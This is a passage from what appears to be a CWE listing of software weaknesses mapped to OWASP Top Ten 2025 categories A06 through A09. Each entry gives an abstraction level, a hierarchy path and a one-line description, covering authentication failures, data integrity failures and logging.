* Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. Use of Potentially Dangerous Function - (676)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1441 (OWASP Top Ten 2025 Category A06:2025 - Insecure Design) > 676 (Use of Potentially Dangerous Function)
The product invokes a potentially dangerous function that could introduce a vulnerability if it is used incorrectly, but the function can also be used safely.
* Pillar Pillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things. Protection Mechanism Failure - (693)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1441 (OWASP Top Ten 2025 Category A06:2025 - Insecure Design) > 693 (Protection Mechanism Failure)
The product does not use or incorrectly uses a protection mechanism that provides sufficient defense against directed attacks against the product.
* Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. External Control of File Name or Path - (73)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1441 (OWASP Top Ten 2025 Category A06:2025 - Insecure Design) > 73 (External Control of File Name or Path)
The product allows user input to control or influence paths or file names that are used in filesystem operations.
* Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. Improper Control of Interaction Frequency - (799)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1441 (OWASP Top Ten 2025 Category A06:2025 - Insecure Design) > 799 (Improper Control of Interaction Frequency)
The product does not properly limit the number or frequency of interactions that it has with an actor, such as the number of incoming requests. Insufficient anti-automation Brute force
* Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. Reliance on Untrusted Inputs in a Security Decision - (807)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1441 (OWASP Top Ten 2025 Category A06:2025 - Insecure Design) > 807 (Reliance on Untrusted Inputs in a Security Decision)
The product uses a protection mechanism that relies on the existence or values of an input, but the input can be modified by an untrusted actor in a way that bypasses the protection mechanism.
* Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. Improper Enforcement of Behavioral Workflow - (841)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1441 (OWASP Top Ten 2025 Category A06:2025 - Insecure Design) > 841 (Improper Enforcement of Behavioral Workflow)
The product supports a session in which more than one behavior must be performed by an actor, but it does not properly ensure that the actor performs the behaviors in the required sequence.
+ Category Category - a CWE entry that contains a set of other entries that share a common characteristic. OWASP Top Ten 2025 Category A07:2025 - Authentication Failures - (1442)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1442 (OWASP Top Ten 2025 Category A07:2025 - Authentication Failures)
Weaknesses in this category are related to the A07 category "Authentication Failures" in the OWASP Top Ten 2025.
* Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. Weak Authentication - (1390)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1442 (OWASP Top Ten 2025 Category A07:2025 - Authentication Failures) > 1390 (Weak Authentication)
The product uses an authentication mechanism to restrict access to specific users or identities, but the mechanism does not sufficiently prove that the claimed identity is correct.
* Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. Use of Weak Credentials - (1391)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1442 (OWASP Top Ten 2025 Category A07:2025 - Authentication Failures) > 1391 (Use of Weak Credentials)
The product uses weak credentials (such as a default key or hard-coded password) that can be calculated, derived, reused, or guessed by an attacker.
* Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. Use of Default Credentials - (1392)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1442 (OWASP Top Ten 2025 Category A07:2025 - Authentication Failures) > 1392 (Use of Default Credentials)
The product uses default credentials (such as passwords or cryptographic keys) for potentially critical functionality.
* Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. Use of Default Password - (1393)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1442 (OWASP Top Ten 2025 Category A07:2025 - Authentication Failures) > 1393 (Use of Default Password)
The product uses default passwords for potentially critical functionality.
* Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource. Empty Password in Configuration File - (258)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1442 (OWASP Top Ten 2025 Category A07:2025 - Authentication Failures) > 258 (Empty Password in Configuration File)
Using an empty string as a password is insecure.
* Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource. Use of Hard-coded Password - (259)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1442 (OWASP Top Ten 2025 Category A07:2025 - Authentication Failures) > 259 (Use of Hard-coded Password)
The product contains a hard-coded password, which it uses for its own inbound authentication or for outbound communication to external components.
* Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. Improper Authentication - (287)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1442 (OWASP Top Ten 2025 Category A07:2025 - Authentication Failures) > 287 (Improper Authentication)
When an actor claims to have a given identity, the product does not prove or insufficiently proves that the claim is correct. authentification AuthN AuthC
* Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. Authentication Bypass Using an Alternate Path or Channel - (288)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1442 (OWASP Top Ten 2025 Category A07:2025 - Authentication Failures) > 288 (Authentication Bypass Using an Alternate Path or Channel)
The product requires authentication, but the product has an alternate path or channel that does not require authentication.
* Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. Authentication Bypass by Alternate Name - (289)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1442 (OWASP Top Ten 2025 Category A07:2025 - Authentication Failures) > 289 (Authentication Bypass by Alternate Name)
The product performs authentication based on the name of a resource being accessed, or the name of the actor performing the access, but it does not properly check all possible names for that resource or actor.
* Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. Authentication Bypass by Spoofing - (290)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1442 (OWASP Top Ten 2025 Category A07:2025 - Authentication Failures) > 290 (Authentication Bypass by Spoofing)
This attack-focused weakness is caused by incorrectly implemented authentication schemes that are subject to spoofing attacks.
* Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource. Reliance on IP Address for Authentication - (291)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1442 (OWASP Top Ten 2025 Category A07:2025 - Authentication Failures) > 291 (Reliance on IP Address for Authentication)
The product uses an IP address for authentication.
* Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource. Using Referer Field for Authentication - (293)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1442 (OWASP Top Ten 2025 Category A07:2025 - Authentication Failures) > 293 (Using Referer Field for Authentication)
The referer field in HTTP requests can be easily modified and, as such, is not a valid means of message integrity checking. referrer
* Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. Authentication Bypass by Capture-replay - (294)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1442 (OWASP Top Ten 2025 Category A07:2025 - Authentication Failures) > 294 (Authentication Bypass by Capture-replay)
A capture-replay flaw exists when the design of the product makes it possible for a malicious user to sniff network traffic and bypass authentication by replaying it to the server in question to the same effect as the original message (or with minor changes).
* Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. Improper Certificate Validation - (295)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1442 (OWASP Top Ten 2025 Category A07:2025 - Authentication Failures) > 295 (Improper Certificate Validation)
The product does not validate, or incorrectly validates, a certificate.
* Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource. Improper Validation of Certificate with Host Mismatch - (297)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1442 (OWASP Top Ten 2025 Category A07:2025 - Authentication Failures) > 297 (Improper Validation of Certificate with Host Mismatch)
The product communicates with a host that provides a certificate, but the product does not properly ensure that the certificate is actually associated with that host.
* Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource. Improper Validation of Certificate Expiration - (298)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1442 (OWASP Top Ten 2025 Category A07:2025 - Authentication Failures) > 298 (Improper Validation of Certificate Expiration)
A certificate expiration is not validated or is incorrectly validated, so trust may be assigned to certificates that have been abandoned due to age.
* Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. Improper Check for Certificate Revocation - (299)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1442 (OWASP Top Ten 2025 Category A07:2025 - Authentication Failures) > 299 (Improper Check for Certificate Revocation)
The product does not check or incorrectly checks the revocation status of a certificate, which may cause it to use a certificate that has been compromised.
* Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. Channel Accessible by Non-Endpoint - (300)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1442 (OWASP Top Ten 2025 Category A07:2025 - Authentication Failures) > 300 (Channel Accessible by Non-Endpoint)
The product does not adequately verify the identity of actors at both ends of a communication channel, or does not adequately ensure the integrity of the channel, in a way that allows the channel to be accessed or influenced by an actor that is not an endpoint. Adversary-in-the-Middle / AITM Attacker-in-the-Middle / AITM Man-in-the-Middle / MITM Person-in-the-Middle / PITM Monkey-in-the-Middle Monster-in-the-Middle Manipulator-in-the-Middle On-path attack Interception attack
* Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. Authentication Bypass by Assumed-Immutable Data - (302)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1442 (OWASP Top Ten 2025 Category A07:2025 - Authentication Failures) > 302 (Authentication Bypass by Assumed-Immutable Data)
The authentication scheme or implementation uses key data elements that are assumed to be immutable, but can be controlled or modified by the attacker.
* Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. Incorrect Implementation of Authentication Algorithm - (303)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1442 (OWASP Top Ten 2025 Category A07:2025 - Authentication Failures) > 303 (Incorrect Implementation of Authentication Algorithm)
The requirements for the product dictate the use of an established authentication algorithm, but the implementation of the algorithm is incorrect.
* Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. Missing Critical Step in Authentication - (304)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1442 (OWASP Top Ten 2025 Category A07:2025 - Authentication Failures) > 304 (Missing Critical Step in Authentication)
The product implements an authentication technique, but it skips a step that weakens the technique.
* Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. Authentication Bypass by Primary Weakness - (305)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1442 (OWASP Top Ten 2025 Category A07:2025 - Authentication Failures) > 305 (Authentication Bypass by Primary Weakness)
The authentication algorithm is sound, but the implemented mechanism can be bypassed as the result of a separate weakness that is primary to the authentication error.
* Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. Missing Authentication for Critical Function - (306)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1442 (OWASP Top Ten 2025 Category A07:2025 - Authentication Failures) > 306 (Missing Authentication for Critical Function)
The product does not perform any authentication for functionality that requires a provable user identity or consumes a significant amount of resources.
* Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. Improper Restriction of Excessive Authentication Attempts - (307)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1442 (OWASP Top Ten 2025 Category A07:2025 - Authentication Failures) > 307 (Improper Restriction of Excessive Authentication Attempts)
The product does not implement sufficient measures to prevent multiple failed authentication attempts within a short time frame.
* Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. Use of Single-factor Authentication - (308)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1442 (OWASP Top Ten 2025 Category A07:2025 - Authentication Failures) > 308 (Use of Single-factor Authentication)
The product uses an authentication algorithm that uses a single factor (e.g., a password) in a security context that should require more than one factor.
* Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. Use of Password System for Primary Authentication - (309)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1442 (OWASP Top Ten 2025 Category A07:2025 - Authentication Failures) > 309 (Use of Password System for Primary Authentication)
The use of password systems as the primary means of authentication may be subject to several flaws or shortcomings, each reducing the effectiveness of the mechanism.
* Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. Origin Validation Error - (346)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1442 (OWASP Top Ten 2025 Category A07:2025 - Authentication Failures) > 346 (Origin Validation Error)
The product does not properly verify that the source of data or communication is valid.
* Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource. Reliance on Reverse DNS Resolution for a Security-Critical Action - (350)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1442 (OWASP Top Ten 2025 Category A07:2025 - Authentication Failures) > 350 (Reliance on Reverse DNS Resolution for a Security-Critical Action)
The product performs reverse DNS resolution on an IP address to obtain the hostname and make a security decision, but it does not properly ensure that the IP address is truly associated with the hostname.
* Composite Composite - a Compound Element that consists of two or more distinct weaknesses, in which all weaknesses must be present at the same time in order for a potential vulnerability to arise. Removing any of the weaknesses eliminates or sharply reduces the risk. One weakness, X, can be "broken down" into component weaknesses Y and Z. There can be cases in which one weakness might not be essential to a composite, but changes the nature of the composite when it becomes a vulnerability. Session Fixation - (384)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1442 (OWASP Top Ten 2025 Category A07:2025 - Authentication Failures) > 384 (Session Fixation)
Authenticating a user, or otherwise establishing a new user session, without invalidating any existing session identifier gives an attacker the opportunity to steal authenticated sessions.
* Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. Weak Password Requirements - (521)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1442 (OWASP Top Ten 2025 Category A07:2025 - Authentication Failures) > 521 (Weak Password Requirements)
The product does not require that users should have strong passwords.
* Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. Insufficient Session Expiration - (613)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1442 (OWASP Top Ten 2025 Category A07:2025 - Authentication Failures) > 613 (Insufficient Session Expiration)
According to WASC, "Insufficient Session Expiration is when a web site permits an attacker to reuse old session credentials or session IDs for authorization."
* Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. Unverified Password Change - (620)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1442 (OWASP Top Ten 2025 Category A07:2025 - Authentication Failures) > 620 (Unverified Password Change)
When setting a new password for a user, the product does not require knowledge of the original password, or using another form of authentication.
* Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. Weak Password Recovery Mechanism for Forgotten Password - (640)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1442 (OWASP Top Ten 2025 Category A07:2025 - Authentication Failures) > 640 (Weak Password Recovery Mechanism for Forgotten Password)
The product contains a mechanism for users to recover or change their passwords without knowing the original password, but the mechanism is weak.
* Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. Use of Hard-coded Credentials - (798)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1442 (OWASP Top Ten 2025 Category A07:2025 - Authentication Failures) > 798 (Use of Hard-coded Credentials)
The product contains hard-coded credentials, such as a password or cryptographic key.
* Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. Improper Verification of Source of a Communication Channel - (940)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1442 (OWASP Top Ten 2025 Category A07:2025 - Authentication Failures) > 940 (Improper Verification of Source of a Communication Channel)
The product establishes a communication channel to handle an incoming request that has been initiated by an actor, but it does not properly verify that the request is coming from the expected origin.
* Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. Incorrectly Specified Destination in a Communication Channel - (941)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1442 (OWASP Top Ten 2025 Category A07:2025 - Authentication Failures) > 941 (Incorrectly Specified Destination in a Communication Channel)
The product creates a communication channel to initiate an outgoing request to an actor, but it does not correctly specify the intended destination for that actor.
+ Category Category - a CWE entry that contains a set of other entries that share a common characteristic. OWASP Top Ten 2025 Category A08:2025 - Software or Data Integrity Failures - (1443)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1443 (OWASP Top Ten 2025 Category A08:2025 - Software or Data Integrity Failures)
Weaknesses in this category are related to the A08 category "Software or Data Integrity Failures" in the OWASP Top Ten 2025.
* Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. Insufficient Verification of Data Authenticity - (345)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1443 (OWASP Top Ten 2025 Category A08:2025 - Software or Data Integrity Failures) > 345 (Insufficient Verification of Data Authenticity)
The product does not sufficiently verify the origin or authenticity of data, in a way that causes it to accept invalid data.
* Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. Missing Support for Integrity Check - (353)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1443 (OWASP Top Ten 2025 Category A08:2025 - Software or Data Integrity Failures) > 353 (Missing Support for Integrity Check)
The product uses a transmission protocol that does not include a mechanism for verifying the integrity of the data during transmission, such as a checksum.
* Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. Untrusted Search Path - (426)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1443 (OWASP Top Ten 2025 Category A08:2025 - Software or Data Integrity Failures) > 426 (Untrusted Search Path)
The product searches for critical resources using an externally-supplied search path that can point to resources that are not under the product's direct control. Untrusted Path
* Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. Uncontrolled Search Path Element - (427)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1443 (OWASP Top Ten 2025 Category A08:2025 - Software or Data Integrity Failures) > 427 (Uncontrolled Search Path Element)
The product uses a fixed or controlled search path to find resources, but one or more locations in that path can be under the control of unintended actors. DLL preloading Binary planting Insecure library loading Dependency confusion
* Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. Download of Code Without Integrity Check - (494)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1443 (OWASP Top Ten 2025 Category A08:2025 - Software or Data Integrity Failures) > 494 (Download of Code Without Integrity Check)
The product downloads source code or an executable from a remote location and executes the code without sufficiently verifying the origin and integrity of the code.
* Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. Deserialization of Untrusted Data - (502)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1443 (OWASP Top Ten 2025 Category A08:2025 - Software or Data Integrity Failures) > 502 (Deserialization of Untrusted Data)
The product deserializes untrusted data without sufficiently ensuring that the resulting data will be valid. Marshaling, Unmarshaling Pickling, Unpickling PHP Object Injection
* Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. Embedded Malicious Code - (506)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1443 (OWASP Top Ten 2025 Category A08:2025 - Software or Data Integrity Failures) > 506 (Embedded Malicious Code)
The product contains code that appears to be malicious in nature.
* Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. Replicating Malicious Code (Virus or Worm) - (509)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1443 (OWASP Top Ten 2025 Category A08:2025 - Software or Data Integrity Failures) > 509 (Replicating Malicious Code (Virus or Worm))
Replicating malicious code, including viruses and worms, will attempt to attack other systems once it has successfully compromised the target system or the product.
* Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. Reliance on Cookies without Validation and Integrity Checking - (565)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1443 (OWASP Top Ten 2025 Category A08:2025 - Software or Data Integrity Failures) > 565 (Reliance on Cookies without Validation and Integrity Checking)
The product relies on the existence or values of cookies when performing security-critical operations, but it does not properly ensure that the setting is valid for the associated user.
* Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource. Reliance on Cookies without Validation and Integrity Checking in a Security Decision - (784)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1443 (OWASP Top Ten 2025 Category A08:2025 - Software or Data Integrity Failures) > 784 (Reliance on Cookies without Validation and Integrity Checking in a Security Decision)
The product uses a protection mechanism that relies on the existence or values of a cookie, but it does not properly ensure that the cookie is valid for the associated user.
* Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. Inclusion of Functionality from Untrusted Control Sphere - (829)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1443 (OWASP Top Ten 2025 Category A08:2025 - Software or Data Integrity Failures) > 829 (Inclusion of Functionality from Untrusted Control Sphere)
The product imports, requires, or includes executable functionality (such as a library) from a source that is outside of the intended control sphere.
* Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource. Inclusion of Web Functionality from an Untrusted Source - (830)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1443 (OWASP Top Ten 2025 Category A08:2025 - Software or Data Integrity Failures) > 830 (Inclusion of Web Functionality from an Untrusted Source)
The product includes web functionality (such as a web widget) from another domain, which causes it to operate within the domain of the product, potentially granting total access and control of the product to the untrusted source.
* Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. Improperly Controlled Modification of Dynamically-Determined Object Attributes - (915)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1443 (OWASP Top Ten 2025 Category A08:2025 - Software or Data Integrity Failures) > 915 (Improperly Controlled Modification of Dynamically-Determined Object Attributes)
The product receives input from an upstream component that specifies multiple attributes, properties, or fields that are to be initialized or updated in an object, but it does not properly control which attributes can be modified. Mass Assignment AutoBinding PHP Object Injection
* Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource. Improper Export of Android Application Components - (926)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1443 (OWASP Top Ten 2025 Category A08:2025 - Software or Data Integrity Failures) > 926 (Improper Export of Android Application Components)
The Android application exports a component for use by other applications, but does not properly restrict which applications can launch the component or access the data it contains.
+ Category Category - a CWE entry that contains a set of other entries that share a common characteristic. OWASP Top Ten 2025 Category A09:2025 - Logging & Alerting Failures - (1444)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1444 (OWASP Top Ten 2025 Category A09:2025 - Logging & Alerting Failures)
Weaknesses in this category are related to the A09 category "Logging & Alerting Failures" in the OWASP Top Ten 2025.
* Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. Improper Output Neutralization for Logs - (117)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1444 (OWASP Top Ten 2025 Category A09:2025 - Logging & Alerting Failures) > 117 (Improper Output Neutralization for Logs)
The product constructs a log message from external input, but it does not neutralize or incorrectly neutralizes special elements when the message is written to a log file. Log forging
* Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. Information Loss or Omission - (221)
